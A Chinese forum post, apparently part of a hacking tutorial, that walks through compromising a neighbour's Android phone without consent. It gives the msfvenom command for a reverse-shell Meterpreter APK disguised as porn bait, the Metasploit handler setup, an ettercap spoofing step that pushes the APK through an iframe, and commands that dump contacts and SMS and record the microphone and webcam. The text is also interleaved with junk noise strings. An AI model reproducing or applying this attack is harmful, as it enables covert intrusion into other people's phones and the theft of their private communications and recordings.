|
6 I3 L2 f7 i0 ?; \ 五、msf+ettercap入侵邻居安卓手机
4 |& X, d2 b0 t& X$ V
' k; B) [) U4 C6 F& r( b9 L' l. o+ {8 E' O9 k# x1 ~
首先启动msf : ~% j" n o( S4 ~+ R
m; N( m, q, x( n# c0 Z3 ]' W
# g0 \3 z7 k2 p 先用kali生成一个安卓木马，如下命令：
/ X3 ?. T2 v6 P C3 s
; n- [/ h- v, f* R
, ~2 i+ W; | I6 q8 j' D( U Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk + y5 {, S/ K {: j, F
9 A# ?( @) z4 \ y6 E1 y/ M$ Y' `- Z/ v
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 , y3 d/ U5 f3 x- e q% \0 N
O+ n# S- n0 Z3 h( d8 J
( x3 Q4 b( _+ |# l" b6 v, h; h4 k 然后进入msf + {* R& ?! L4 F! ?# J6 o
: i$ s. N( d7 D5 p' g. Y5 R
! |- i6 W& Q. w! q) H use exploit/multi/handler % j: D1 e0 w/ m" a
! I2 o% X" d2 F q" Z9 T
, r; q9 o! N" v9 j set payload android/meterpreter/reverse_tcp - ]+ p/ [) O2 N! H( z/ v
5 U* n) m3 N1 m. y* M8 ?: [- [1 S# ]8 t8 B0 H, y7 ? I
set LHOST 192.168.0.109 //ip为kaili的ip
% g( f( ~' j8 n 3 n/ k4 I3 Z, H
4 S, U0 D6 \# r: | set LPORT 44444 //端口一定要与前面生成的木马的端口一致 * j2 ?9 d- P: i
, g' J5 s1 r$ A5 V- O
+ K8 F* V- R' d' ^
Exploit
- P/ u9 i9 Q% ]2 Y# V/ \, E1 @ - E) N, R' Y3 G1 ?; U
: H- Q' _: B# }
# E8 r9 P" V1 z- v 8 W- ~& O( D7 L8 c) `* l
5 z' H; b) d7 |. d% ~. D/ }1 L# @ 下面我们开启ettercap -G
8 o" n+ }% F1 z* C: c3 W- i 0 h0 \" v0 _3 K4 c- B' m9 _: B
( \& [- P' L% f4 s2 n 我物理IP为
- A n) F% [* U8 V% R , \9 @+ \9 z; P; U9 S
! R5 N. c$ E4 ?0 _" g9 M 
( C: q: X" u$ Z" c8 S7 v
0 D! ?- Q6 c1 u3 |& ~9 `. r. _# l) W
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
4 \1 w& ^: l3 E
2 u/ F0 Q8 l$ _$ a$ M. q
4 E' k) J% r& M# B 下面我们来设置一下
3 L0 n! i1 }: `/ g5 L4 L4 q
# D$ ?5 H# m1 B# x: m+ K
/ O) E) |0 ]) O' H 
, J( d$ W/ o+ M3 [0 O3 p 8 X& L- i5 {3 z
4 r0 E1 z3 p' S$ I9 g% Y+ c
在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， 8 w. S7 ~ b- M p1 j# k' P
% m1 |4 ~, I+ Q$ A( P! [3 D* O
% d' ?+ U! z2 D% c2 G1 i, y+ x
3 K! m- Z7 a T0 r0 S3 k1 B
& ?" \, l1 m3 e7 f$ V) H
: b* C7 L# ^. C1 u 
# D# H# b3 N0 N( N! b# C
0 N6 C, m2 A8 W, ~2 ?+ X+ U- J; t5 x% W
( ^- |/ F6 o/ b- L
$ m! p( d/ N5 H+ G1 ^" `
! W* ?6 G( @ [% x ; S" B2 ?7 R) t+ Y$ |
; g) P Z6 {0 T: t. A) m
- l, i) O& N! c& L' I) L
: x) f) u8 m0 V6 h % R2 F3 b2 y9 [2 k3 k6 T/ v
9 D: u Q" n9 I7 a0 z0 b( W y" E4 W
9 Y/ |6 O7 z7 k1 p9 y* H- ?
$ a4 [. l. Q- p. ~5 ^8 t6 f! K4 ?+ U) Z( f: ~
' u( F0 k1 ^# @) A1 b# W5 F
" x# ~/ S! K0 q6 l& _
Y* K2 G2 c5 ^( b) F1 { 8 U* m7 {: q, R) E. |) l% U9 k
8 x5 [- f, X6 T/ l& `- t5 u6 E
2 Z" H2 ^0 l/ _2 g- i! t h9 J7 x& R; p' H
( ?* ^! d- s* U
* A! q8 G2 R0 f: D. P8 z
/ M. ?; `' B2 J, N4 y0 m
5 n* g g0 w& A2 H) ?
- a# r+ p3 Q5 l/ Y3 C; W9 O ) h8 u" b1 B( x3 i
0 v, p; {; U2 C+ z; j
8 d7 u$ c' J. J. ]- Q C" |; O2 ^- }* a" [! o4 N
& B. \: S9 W' @! \; F- S- W
* C+ i+ ^1 j8 n& S& W# Z  4 `0 K% U# b) t, }1 q
: l, f2 Z2 y0 ]& d0 e0 _5 m/ O' M M$ i6 Y j) Y
下面我们开始攻击 * y, `8 q( ^, J! Y9 |
6 e* x+ ?8 p" K# H3 i8 X, B
9 m8 J+ o3 y4 A
2 M) P9 }+ B. T: u# h 0 }$ @$ y( ]( c& I2 P1 M5 j# v3 y
" c; a+ G/ ~( o1 J2 `! b
6 Y2 O( I- m3 S
5 D* R* ]' A. c V
5 j& ]1 k* U- Y1 X! w& Y
/ f# \/ }$ _; s- x
5 k. W) p8 M& b1 i' U: ]% k/ b7 t
8 _8 S2 M6 Z; X0 k5 [ 3 B$ P* z$ }/ n! J) P d0 a
( ]* ~4 {+ h, m: D
5 ^* t; w. \* Q 
" g1 P* _, F, N* h+ U2 B5 j5 @
. U- K0 P" _7 M" z( N# Z c
' c$ z( V, _) [) g 大概过了5分钟多，发现反弹成功了 ' q4 H8 ~- n, i- C9 B
- c; g& n& N3 h5 {( K( @4 y) j1 H6 ^1 d, v. J! z
4 u: n @1 w1 k. J" f, M ) k: m+ O3 i/ a J8 P9 o* j" O7 b& W
$ |. q( k- ]- R! x
7 h. E1 o1 i3 |& B
, r2 f& O y- } F
7 J) n8 w" Z" Q2 A
' t' |; x* R! D3 M
: P b" t, Y: C# ~' C+ y! ]! T" l! L( v. l9 H
0 j* B$ J* L. P n% M! [ b4 \ % x! e6 h6 y1 \& h! l3 Y
s- D# Y$ n/ n& D+ z$ K
9 P2 N$ A$ U0 U8 \# G/ H! ^9 w
0 q1 {. n0 g8 u( i( X+ W- U
, d5 d) z$ [( g" ~/ t. C Q4 z 6 O) d8 L8 K+ W/ C' X: J3 {3 J
- Q0 s$ p" O/ a3 \
3 H- q! g' v- S, ~. j3 r, U
 6 Y/ h% W! f0 ]# l+ P
# G& U* z7 C. l4 R! \, U7 {6 i. `3 D
* I& F3 h: O9 t. g 执行命令 4 A; }1 d: F+ \: a5 X- S
, \" F& H. P6 w# Z- i
( f9 `, M. L$ U# c+ m ~$ [
! X; [# B3 A, u5 T4 J( f b
5 ~9 I9 M6 j# c: a
: C% \0 E' N4 U! B' p0 y/ q0 n dump_contacts --》这个是导出电话 # w/ E8 h. [: _6 V. P
1 Q8 [6 ~) B6 [* @: H
, b; K+ s9 q2 N V, ~& v, C
dump_sms --》这个是导出信息
5 e3 p, L# x0 ]4 {* W6 c" E * b* [# H9 m& }" m$ @0 K, e$ C) J
) B' t- r% ?4 ~/ v7 ] record_mic Record audio from the default microphone for X seconds 0 M& Z: [% b4 a1 r
) M5 `5 |4 r( G7 C9 D6 R
. r. M" n8 R6 B) M( p1 b! y
webcam_chat Start a video chat 1 q' f1 a! }' p6 k4 J [
( ^. L2 A. \6 C; N4 I( B" E! h
- h& ?6 C, g* @+ X" o; d
webcam_list List webcams
/ e m+ T5 P* L) V7 ^' P% B( c
+ l; ^( H* t; L. r( }
; E/ M+ c3 H- H8 m webcam_snap Take a snapshot from the specified webcam 8 M' ^$ {. b5 d, V
9 a" y! N/ e3 ~) I
W L; K$ {" y0 k9 j- w webcam_stream  lay a video stream from the specified webcam 3 P2 D& a6 R2 d3 I* X* h
7 E9 |; P1 c4 P& ?+ ?* ?
6 u" u) ?5 y2 I5 [9 R2 }) g
 7 q: r7 |7 @& W% `7 _
6 @" A6 v! V% H) p9 A6 A H
* l7 g8 s1 H* E0 t* J, x3 u
 9 W# H j* {" a- {
7 M! k& ]! J- n R- Z
4 Y# z: {" W+ b7 }( g% p7 ?
我们打开看一下电话薄，
6 F# F' H# E1 P- w% k d
7 v7 a: h% F$ J$ l
2 D2 O3 Q* \" d5 m- ~; V% ] / `; X: M1 k, f6 c0 F
% Q* _; G# C4 Y) i4 w
# Z7 s7 g8 i( U' o" z/ I 
5 v3 n3 G7 V* K/ |+ I' ~2 g% B2 A
0 T* y" v/ }3 s
' J( A& z8 |! f A+ \ R
5 n5 M+ X& h& `- O ( L, M, f6 i& u- U( H
! o9 n- T" V J( q: b2 p
 ' F3 j2 v6 L6 \8 r/ K( D o
( R3 q; I& W q" B; M* x
- {& }$ t8 O" |- B: I' b 
9 R, j! B# |! v. R 9 s% u4 d6 u# B+ p' z- |
# {& \4 g& F7 x' w- j! a
' h9 C2 |2 s9 X5 Y% O7 A* p
; h6 x- U( b) E" D. P) a: y t: T s' \8 a4 F* v
我们同时欺骗成DroidJack木马，使用方法如图： / [- M3 m+ x6 m3 D9 [# X- r0 E
& H+ q% r6 I/ F9 h& x) Z& ?' p2 t& R; d; V3 n9 B3 |) z
! K1 y" T& p- m& C8 K! s. X+ Y ) X/ y" O& |: L/ d' V& k1 t- @: Q
5 `2 H+ ^# V, l3 }7 g 8 Y# O- {# m) b( n! Y
3 t3 R7 \3 f2 T* L8 Y) l8 x ~1 \3 T+ Q7 y
 & z$ ^! R) ~& A2 k3 H) x5 I4 X+ L
. |9 p3 D5 O! ^; `. v% A- A) s& |2 ~6 Z' W" j# m
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
3 Z/ \( r- i& f* [6 c- F' H7 Z2 M1 l $ H# v# N7 P- N8 b
, C# k K3 v+ J# l 
* ~, c2 [$ K' L8 h' Y- J8 N$ m W! e+ p 2 U) H0 F# R5 H9 v
" t1 n4 ]; F- [' B& ?# [ 
' c4 }9 D; [; K g 7 y ]8 B8 ~4 p% }# i% `2 s, u
# y! F- X0 Y, L) b: w" ~2 c 
+ F8 Q8 G' L; J0 r4 Q: u
8 h) b# C; \1 x6 Z8 ~" V1 _3 K R3 n0 f: E8 N$ {( } H
 
7 M& S/ N8 U3 z% ]8 F/ M( a p! L4 ] ]4 F6 h* Y B$ j
. f. m V: N% G0 u: G6 c/ G2 z. C
( R: o2 X1 t0 I$ y- K2 |+ f | 
发表于 2018-10-20 20:30:37
收藏
支持
反对